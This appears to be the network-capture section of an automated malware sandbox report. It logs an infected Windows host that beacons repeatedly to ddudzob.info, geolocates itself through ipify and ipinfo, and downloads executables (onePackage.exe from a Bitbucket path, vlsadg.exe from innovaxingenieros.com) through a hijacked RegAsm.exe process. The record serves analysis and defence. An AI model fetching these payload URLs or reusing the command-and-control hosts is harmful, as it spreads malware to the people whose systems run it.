Sep 18, 2024 14:32:15.313159943 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49879	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:15.442378044 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:16.159457922 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49880	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:16.288991928 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:16.994272947 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.7	49881	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:17.161308050 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:17.883799076 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.7	49882	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:18.013235092 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:18.701204062 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.7	49883	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:18.848532915 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:19.525909901 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49884	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:19.645381927 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:20.373188972 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:20.493957043 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:20.735704899 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49885	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:20.850110054 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:21.551057100 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:21.659415007 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:21.895553112 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:22.015618086 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:22.260201931 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49886	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:22.410181046 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:23.097803116 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49887	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:23.219681025 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:23.928997993 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49888	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:24.057291031 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:24.746272087 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49889	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:24.872982025 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:25.559228897 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Sep 18, 2024 14:32:25.672996044 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:25.912338972 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49890	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:26.051767111 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:26.748107910 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49891	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:26.879471064 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:27.588064909 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49892	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:32:27.710659027 CEST	319	OUT	GET /search/?q=67e28dd86f09f429110aa5197c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4de8889b5e4fa9281ae978f771ea771795af8e05c446db22f31dfe339426fa11af66c156adb719a9577e55b8603e983a608cf917c6e897933d HTTP/1.1 Host: ddudzob.info User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Sep 18, 2024 14:32:28.395332098 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Wed, 18 Sep 2024 12:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	173.231.16.77	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:02 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-09-18 12:30:02 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Sep 2024 12:30:02 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-09-18 12:30:02 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49702	34.117.59.81	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:02 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-09-18 12:30:03 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Wed, 18 Sep 2024 12:30:02 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-18 12:30:03 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-09-18 12:30:03 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49714	185.166.143.50	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:08 UTC	234	OUT	GET /solgoodman/zixenberg/downloads/onePackage.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: bitbucket.org Cache-Control: no-cache
2024-09-18 12:30:10 UTC	4953	IN	HTTP/1.1 302 Found Date: Wed, 18 Sep 2024 12:30:08 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Server: AtlassianEdge Location: https://bbuseruploads.s3.amazonaws.com/479ceab5-a71c-45e3-a6d6-d89e76e092ed/downloads/d060d296-4b38-4a9e-8201-025e61d8b6d1/onePackage.exe?response-content-disposition=attachment%3B%20filename%3D%22onePackage.exe%22&AWSAccessKeyId=ASIA6KOSE3BNE5X4LFVM&Signature=Q8Wtug9Aoy2W0E60VQqgPsf%2FzEA%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEA0aCXVzLWVhc3QtMSJGMEQCIG87vLJo2fJHJhS8HGlCYcyfqckkq7Y2ObwznLY%2FPmnfAiBa8RP5sUG0MnqSJkH24BsunR%2Fo%2Ffp75%2FHKNXGc678ZJyqnAghFEAAaDDk4NDUyNTEwMTE0NiIMXOe2oo5u4hWGZA4%2FKoQC96hnemE4mdMmFpvuMWICMbMMOwFL2zUyUf%2BuoGMkCXxJ6Gk8sQ%2Bc0kDmCYy63DyJz1lTQF95kHTDxAVXxG%2Be388nPJph5a1ln1450KI0RPaiMOZBHuJBtloAYRGKJgEf7RHNTYS0m5brimjD%2BziLO57Py3BoRRMIAEShxX0KS8RIAZ7IC75%2FIGi8Zzor6nXxDwbwMqVBhpVCjK9V2e2G4iBXISJkpERRUxAaVbF%2FV87zwR9IbmvRx6i8kFflzQuyA2cmQ30F4p1RxRfxb1dXvklqHbNhzemShmXz0YrS8dUvVOwKzUkpcZUEhTEzJw4WAU4bK3FjAFn%2BTn2%2F1XVu1HRakLgwl4qrtwY6ngEIGUfj7MYrSj2mLGwwSNX0WBs%2B25sbWaEc5%2FQOWUSQnBytbq4g3yIoGu79twLl4YhKYXeOmqiwheffyEM2G01jRDXHrcacQxEAbnsQxvKRIpE8nvFU%2BGwFzXRYaXf3pzm [TRUNCATED] Expires: Wed, 18 Sep 2024 12:30:08 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private X-Used-Mesh: False Vary: Accept-Language, Origin Content-Language: en X-View-Name: bitbucket.apps.downloads.views.download_file X-Dc-Location: Micros-3 X-Served-By: 5d9e6f3c2297 X-Version: b100998710d1 X-Static-Version: b100998710d1 X-Request-Count: 3432 X-Render-Time: 0.05054783821105957 X-B3-Traceid: 7c851432a0c143beb8b34146da5db01f X-B3-Spanid: 3423e922d9ba9744 X-Frame-Options: SAMEORIGIN Content-Security-Policy: connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com atlassian-cookies--categories.us-east-1.prod.public.atl-paas.net as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com xp.atlassian.com atl-global.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net flight-deck-assets-bifrost.prod-east.frontend.public.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io *.ingest.sentry.io events.launchdarkly.com app.launchdarkly.com statsigapi.net fd-config.us-east-1.prod.public.atl-paas.net fd-config-bifrost.prod-east.frontend. [TRUNCATED] X-Usage-Quota-Remaining: 999118.065 X-Usage-Request-Cost: 896.50 X-Usage-User-Time: 0.026895 X-Usage-System-Time: 0.000000 X-Usage-Input-Ops: 0 X-Usage-Output-Ops: 0 Age: 0 X-Cache: MISS X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Atl-Traceid: 7c851432a0c143beb8b34146da5db01f Report-To: {"endpoints": [{"url": "https://dz8aopenkvv6s.cloudfront.net"}], "group": "endpoint-1", "include_subdomains": true, "max_age": 600} Nel: {"failure_fraction": 0.001, "include_subdomains": true, "max_age": 600, "report_to": "endpoint-1"} Strict-Transport-Security: max-age=63072000; includeSubDomains; preload Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49721	167.114.163.236	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-18 12:30:10 UTC	207	OUT	GET /vlsadg.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: innovaxingenieros.com Cache-Control: no-cache
2024-09-18 12:30:10 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:10 GMT Server: Apache Last-Modified: Wed, 18 Sep 2024 06:33:51 GMT Accept-Ranges: bytes Content-Length: 299936 Connection: close Content-Type: application/x-msdownload
2024-09-18 12:30:10 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4c 73 ea 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3a 04 00 00 08 00 00 00 00 00 00 6e 58 04 00 00 20 00 00 00 60 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELLsf:nX `@ `
